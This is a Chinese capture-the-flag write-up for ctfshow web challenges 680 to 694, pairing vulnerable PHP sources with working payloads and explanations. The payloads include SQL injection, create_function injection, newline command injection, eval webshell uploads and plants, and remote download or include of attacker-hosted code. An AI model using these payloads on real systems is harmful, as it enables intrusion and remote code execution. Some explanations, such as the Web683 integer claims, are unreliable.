开头
解题思路参考以下链接
https://blog.csdn.net/miuzzx/article/details/122998220
https://blog.csdn.net/weixin_49656607/article/details/124065674
Web680
解题
- 先POST传入code=phpinfo(); 然后查看disable_function查看禁用了一堆函数,并且open_basedir限制了
- POST传入code=var_dump(scandir('.')); 用于查看当前目录的文件
- 发现了secret_you_never_know这个文件,直接访问即可拿到flag。或者highlight_file('secret_you_never_know')
原理 & 思路
- 题目提示post code to run!意思是POST向code传参
- 实验性传参phpinfo();可以执行,应该是eval()执行,但是查看PHPinfo的disable_function发现禁用了很多函数
Web681
解题
- 先用dirb 扫描url,发现.svn泄漏
- 访问url/.svn ,发现一个www.zip,下载并解压
- 代码审计,在index.php中,$_SESSION['hat']不为green即可获得flag
- 在check.php中发现sql注入;$sql = "select count(*) from ctfshow_users where username = '$name' or nickname = '$name'";
- 访问url/check.php,POST传入name=||1#*
原理 & 思路
- 先用dirb 扫描url,发现.svn泄漏
- 访问url/.svn ,发现一个www.zip,下载并解压
- 代码审计,在index.php中,$_SESSION['hat']不为green即可获得flag
- 在check.php中发现sql注入;只要sql语句执行成功,那么$_SESSION就会改变,就可以获得flag
- 前面代码会将'替换为空,并且无法使用空格
- payload构造为 ||1#\
- 相当于构造语句为: select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'
- 也就是相当于select count(*) from ctfshow_users where username = 'xxxxx'||1
- 拆开看username = '||1#\' or nickname = '||1#\'
- 前面的 '||1#\' or nickname = ' 是无所谓的,但是后面的||1是一定让sql语句执行为true,然后后面的#\直接注释掉
- 所以最后的sql语句就相当于 select count(*) from ctfshow_users where username='xxx'||1
Web683
解题
Payload
url/?秀=0x4F1A64
原理 & 思路
题目
<?php
error_reporting(0);
include "flag.php";
if(isset($_GET['秀'])){
if(!is_numeric($_GET['秀'])){
die('必须是数字');
}else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
die('你太短了');
}else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
die('你太长了');
}else{
sleep((int)$_GET['秀']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);
- 过is_numeric,判断是否为数字。除了标准的十进制数字可以过,十六进制以及科学计数法也能过,例如0x114514,0.9e19198
- 下面两个if,要求传入的数字的十进制大于60 * 60 * 24 * 30 * 2小于60 * 60 * 24 * 30 * 3,注意不要被绕了
- 最后会sleep(int(你传入的数字))之后才会输出flag,如果传入的是标准十进制,肯定是不行的,所以传入十六进制或者科学计数法即可。如果是十六进制,int(0x2e593c00),结果为1;如果是科学计数法,int(0.7e9),结果为1.
Web684
详细:https://paper.seebug.org/755/
解题
payload
url/?action=\create_function&arg=echo sibei;}eval($_POST[a]);//
POST对a进行传参,然后命令执行
题目 & 原理
题目
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
原理
- 要过if才能使用控制的参数,过滤内容:开头结尾匹配数字字母下划线。也就是不能有这些才能执行else
- 这里考的是PHP命名空间,例如phpinfo()和\phpinfo(),这两种都可以执行
- PHP默认的命名空间为\,假如调用phpinfo(),相当于调用自己填了一个相对路径。而\phpinfo()是绝对路径
- create_function函数,create_function(这里是参数,这里是内容),例如:create_function('$a','echo sibei')
- create_function('$a','echo sibei'), 在底层是这样创建的
function a($a){
echo sibei;
}
- 那么这样是存在利用的,假设create_function('$a','echo sibei;}phpinfo();//')
function a($a){
echo sibei;}phpinfo();//
}
- 这样就相当于执行了phpinfo();原理:通过echo sibei;}将语句闭合,然后放入phpinfo(),这里是自己想执行的代码,然后后面的语句直接用//注释掉丢弃即可
Web685
解题
替换你的url,然后执行,访问输出的url
import requests
url="http://fccdcaef-db2c-48ed-975a-d692e76c12f8.challenge.ctf.show/"
#这里替换你的url
file={
"file": "<?=eval($_POST[cmd]);?>"+"sibei"*200000
}
requests.post(url,files=file)
for i in range(0,10):
req = requests.get(url+f"data/{i}.php")
if "sibei" in req.text:
print(url+f"data/{i}.php")
题目 & 原理
题目
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
原理 & 思路
- 先审计代码,$data用于接收强制上传后的文件内容,然后对这个文件的内容带到is_php进行preg_match正则匹配,如果匹配到则退出,没有匹配到则:先在web目录下创建/data文件夹,然后在data文件夹下创建随机1-10.php这个php文件,然后将强制上传的文件移动替换到刚刚新建的php文件中
- 思路:只要过了正则匹配即可进行写入文件。题目的思路是利用冲破preg_match的最大匹配数量,preg_match默认最大容许匹配1000000字符,超过则不再返回0或者1,而是false,可以通过var_dump(ini_get('pcre.backtrack_limit'));来查看最大匹配数量。
- 只需要上传的文件超过1000000个字符,preg_match则直接失效返回false,然后即可写入文件
Web686-无参RCE
解题
url/?code=eval(end(reset(get_defined_vars())));&b=system("cat /secret_you_never_know");
题目 & 原理
题目
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
原理
- 注意正则,/[^\W]+((?R)?)/,就是函数不能有参数
- 原理:https://sirbei.com/index.php/archives/831/。详细看目录:无参数命令执行
Web687
解题
url/?ip=127.0.0.1%0acat /flaaag
题目 & 思路
题目
<?php
highlight_file(__FILE__);
$target = $_REQUEST[ 'ip' ];
$target=trim($target);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 1 ' . $target );
echo "<pre>{$cmd}</pre>";
思路
- 接收一个变量ip,GET或者POST都可以,然后进行格式化替换,将下列数组出现的字符,对输入的ip进行匹配替换为空
- 代码是执行ping命令,如没有过滤可以后面衔接;或者| 等进行命令执行。
- 本体没有过滤换行,即%0a,可以绕过。
Web689
解题
- url/?path=1.php&file=http://127.0.0.1/?path=<?=eval($_POST[cmd])?>%26file=http://127.0.0.1/
- 然后访问url/upload/1.php,POST向cmd传参
题目 & 思路
题目
<?php
error_reporting(0);
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.CTFshow";
}
思路
- SSRF我自己
- 先审计代码:GET传参file,用于构造url,然后放入$url,GET传参path,用于将下面代码从$url读取的代码放到$path中。对$url进行检测,对传入的$file也就是$url必须要包含http://127.0.0.1,然后从传入的$url,读取$url这个链接的内容,然后放入url/upload/$path中,$path是自己传入的,然后会新跳转一个页面,输出$path update successed的内容
- 如果先传入url/?path=<?=eval($_POST[cmd])?>&file=http://127.0.0.1/,就是将index.php代码读取,然后写入到upload/<?=eval($_POST[cmd])?>,然后页面跳转,输出<?=eval($_POST[cmd])?> update,那么这个url最终的输出就是<?=eval($_POST[cmd])?> update,也就是这个页面包含了一句话马。
- 那如果,将上面的url作为一个整体,来进行读取写入,就构成了将上面输出的内容作为写入的内容。
- 拆开看:url/?path=1.php&file=(这里隔开)http://127.0.0.1/?path=<?=eval($_POST[cmd])?>%26file=http://127.0.0.1/
- 代码的意思是将url/?path=<?=eval($_POST[cmd])?>&file=http://127.0.0.1/输出的内容,写入到1.php账号陪你过
- 注意后面套娃的内容&要url编码
Web690
解题
- 准备一个web服务器,要求必须要使用ip地址就可以访问,同时将ip地址转为十进制,怎么转可以百度
- 准备一个web服务器,在web根目录新建index.html,放入以下代码
- 没有web服务器可以用python3新建,新建一个文件夹,进去后新建index.html然后放入下面的代码,然后python3 -m http.server 80。如果没有这个模块pip3 install httpserver
<?php
file_put_contents("shell.php",'<?php eval($_POST[cmd]);?>');
?>
- url/?args[]=sibei%0a&args[]=mkdir&args[]=sibei%0a&args[]=cd&args[]=sibei%0a&args[]=wget&args[]=web服务器的十进制ip
- url?args[]=sibei%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=sibei%0a&args[]=php&args[]=shell
题目&思路
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit("sorry");
}
exec('./ ' . implode(" ", $args));
思路
- 先审计代码:传入args,然后对count($args),说明要传入args数组,然后根据传入的数量,依次匹配过滤传入的值,匹配规则是要求只能是数字字母下划线。
- 然后执行exec函数,没有回显。
- preg_match可以用%0a来绕过,也就是换行,在php命令执行如果遇到%0a,相当于shell的;可以拼接命令
- 假如这样传入url/?args[]=sibei%0a&args[]=echo&args[]=123,那么就相当于执行了./sibei;echo 123
- 这边的思路是先新建一个文件夹,然后cd到文件夹,然后wget我们的ip服务器进行下载文件。然后打包一下含有我们下载的文件的目录,然后php执行(这里可以执行是因为,压缩包包含明文php代码,php只有遇到php代码才会执行)
- 具体可以参照上面的payload来理解
Web691
解题
Python脚本
import requests
url = "http://4fdab247-a7a5-4173-a624-c8437b86bd50.challenge.ctf.show/"
string = ".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
flag = ""
for i in range(1, 50):
for j in string:
data = {
"username": f"' or 1 union select 1,2,'{flag+j}' order by 3#",
"password": "1"
}
req = requests.post(url, data=data)
if '</code>admin' in req.text:
print(chr(ord(j) - 1))
flag+=chr(ord(j) - 1)
print(flag)
break
题目&思路
题目(不全)
<?php
include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}
?>
思路
- order by 排序盲注
- 有点没懂,看文章置顶的文章吧,哈哈哈
Web692
解题
url/?option=;eval($_POST[cmd]);//
url/?option=%00
然后访问url/config.php传参即可
题目 & 思路
题目
<?php
highlight_file(__FILE__);
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
思路
- 代码审计,GET获取option,然后进过addslashes(),即在预定义的字符串添加反斜杠,详细百度。然后$file读取config.php,然后对config.php进行替换,将$option=替换为我们输入的内容,最后将替换的后的内容放入config.php
- preg_replace,第二个参数,如果传入%00,则完整匹配内容
比如初始的字符串为 $option='123';
如果执行 preg_replace("$option='.*';","\x00",$a)
那么返回的结果是 $option='$option='123';';
其实就是把原来的字符串又放到单引号里面了。
那如果执行 preg_replace("$option='.*';",";eval($_POST[cmd]);//",$a)
那么 $option=";eval($_POST[cmd]);//"
那如果再执行 preg_replace("$option='.*';","%00",$a)
那么 $option="$option=";eval($_POST[cmd]);//""
eval就被逃逸出去了
Web693
解题
准备一台web公网服务器,新建index.html,写入一句话木马
url/?function=extract&file=你的公网服务器ip
题目 & 思路
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>
思路
-
重点在于以下代码
$func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET); include($file);
- call_user_func是一种特殊的调用函数的方式,第一个参数放要调用的函数名,第二个参数放参数
- include可控,call_user_func可以使用extract,把$file给改变了,extract可以改变变量
- include要记得可以用php://filter或者远程包含的,php://filter可以查看文件,远程包含可以直接包含一句话马
Web694
解题
- 先按照图传值,传完之后,访问url/s.php
题目 & 思路
题目
<?php
error_reporting(0);
$action=$_GET['action'];
$file = substr($_GET['file'],0,3);
$ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']));
$content = $_POST['content'];
$path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file;
if($action=='ctfshow'){
file_put_contents($path,$content);
}else{
highlight_file(__FILE__);
}
?>
思路
- 先审计代码:GET接收action,当action=ctfshow时可以进行写入。GET接收$file,但是只能接收从第一个到第三个字符,$ip接收头X-Forwarded-For。$path相当于./$ip/$file
- 当action=ctfshow时,将$content写入$path,$content从POST接收。
- X-Forwarded-For可以使用hackbar来控制,填入什么就是什么
- 因为$file无法写入超过三个字符,所以无法写入类似于a.php的php文件,这边使用.来搭配使用。例如路径:/var/www/html/a.php/. 这样的话,实际上还是/var/www/html/a.php